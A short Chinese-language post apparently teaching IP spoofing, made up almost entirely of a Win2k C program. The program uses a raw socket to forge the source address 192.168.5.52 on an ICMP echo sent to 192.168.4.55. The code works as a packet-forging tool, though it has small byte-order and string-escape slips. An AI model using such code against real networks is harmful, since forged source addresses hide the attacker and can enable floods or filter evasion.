ip欺骗不需要将网卡设为混杂模式,只要你修改ip首部就可以了。
下面是一个例子,在win2k下冒充其他机器(192.168.5.52)给192.168.4.55发送icmp报文。
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#define ICMP_ECHO 8
typedef struct iphdr {
unsigned char verlen; // length and version of the header
unsigned char tos; // Type of service
unsigned short total_len; // total length of the packet
unsigned short ident; // unique identifier
unsigned short frag_and_flags; // flags
unsigned char ttl;
unsigned char proto; // protocol (TCP, UDP etc)
unsigned short checksum; // IP checksum
unsigned int sourceIP;
unsigned int destIP;
} IPHDR;
typedef struct icmphdr {
BYTE i_type;
BYTE i_code; // type sub code
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
} ICMPHDR;
unsigned short cal_checksum( unsigned short *buf, int size);
void main()
{
SOCKET s;
WSADATA WSAData;
BOOL bIphdrIncl;
int iRtn;
IPHDR *pIphdr;
ICMPHDR *pIcmphdr;
unsigned long *pIcmpdata;
char buf[1024];
struct sockaddr_in dest;
if ( WSAStartup( MAKEWORD( 2, 2), &WSAData)) {
printf( “fail to start up winsock.n”);
return;
}
// create a raw socket to send fake ICMP_ECHO message …
s = socket( AF_INET, SOCK_RAW, IPPROTO_IP);
if ( s == INVALID_SOCKET) {
printf( “socket error.n”);
return;
}
bIphdrIncl = TRUE;
iRtn =
setsockopt( s, IPPROTO_IP, IP_HDRINCL, (const char *)&bIphdrIncl, sizeof(BOOL));
if ( iRtn) {
printf( “fail to set sock option.n”);
return;
}
// fill in ip header …
pIphdr = (IPHDR *)buf;
pIphdr->verlen = 0x45;
pIphdr->tos = 0;
pIphdr->total_len = sizeof( IPHDR) + sizeof( ICMPHDR) + sizeof( unsigned long);
pIphdr->ident = htons(0);
pIphdr->frag_and_flags = htons(0);
pIphdr->ttl = 255;
pIphdr->proto = IPPROTO_ICMP;
pIphdr->sourceIP = inet_addr( “192.168.5.52”);
pIphdr->destIP = inet_addr( “192.168.4.55”);
pIphdr->checksum = 0; // ip checksum is set to 0 temperarily.
// fill in icmp header …
pIcmphdr = (ICMPHDR *)(buf + sizeof( IPHDR));
pIcmphdr->i_type = ICMP_ECHO;
pIcmphdr->i_code = 0;
pIcmphdr->i_cksum = 0;
pIcmphdr->i_id = ( unsigned short)GetCurrentProcessId();
pIcmphdr->i_seq = 0;
// fill in icmp data …
pIcmpdata = ( unsigned long *)(buf + sizeof( IPHDR) + sizeof( ICMPHDR));
*pIcmpdata = GetTickCount();
// calculate icmp check sum …
pIcmphdr->i_cksum = cal_checksum( (unsigned short *)pIcmphdr, sizeof(ICMPHDR) + sizeof(unsigned long));
// calculate ip check sum …
pIphdr->checksum = cal_checksum( (unsigned short *)pIphdr, pIphdr->total_len);
dest.sin_addr.S_un.S_addr = inet_addr( “192.168.4.55”);
dest.sin_family = AF_INET;
iRtn =
sendto( s, buf, pIphdr->total_len, 0, (const SOCKADDR *)&dest, sizeof( dest));
if ( iRtn == SOCKET_ERROR) {
printf( “fail to send raw ip packet to destination.n”);
return;
} else {
printf( “success.n”);
}
closesocket( s);
WSACleanup();
}
unsigned short cal_checksum( unsigned short *buf, int size)
{
unsigned long cksum = 0;
while( size > 1) {
cksum += *buf++;
size -= sizeof( unsigned short);
}
if(size) {
cksum += *( unsigned char *)buf;
}
cksum = ( cksum >> 16) + ( cksum & 0xffff);
cksum += (cksum >>16);
return ( unsigned short)(~cksum);
}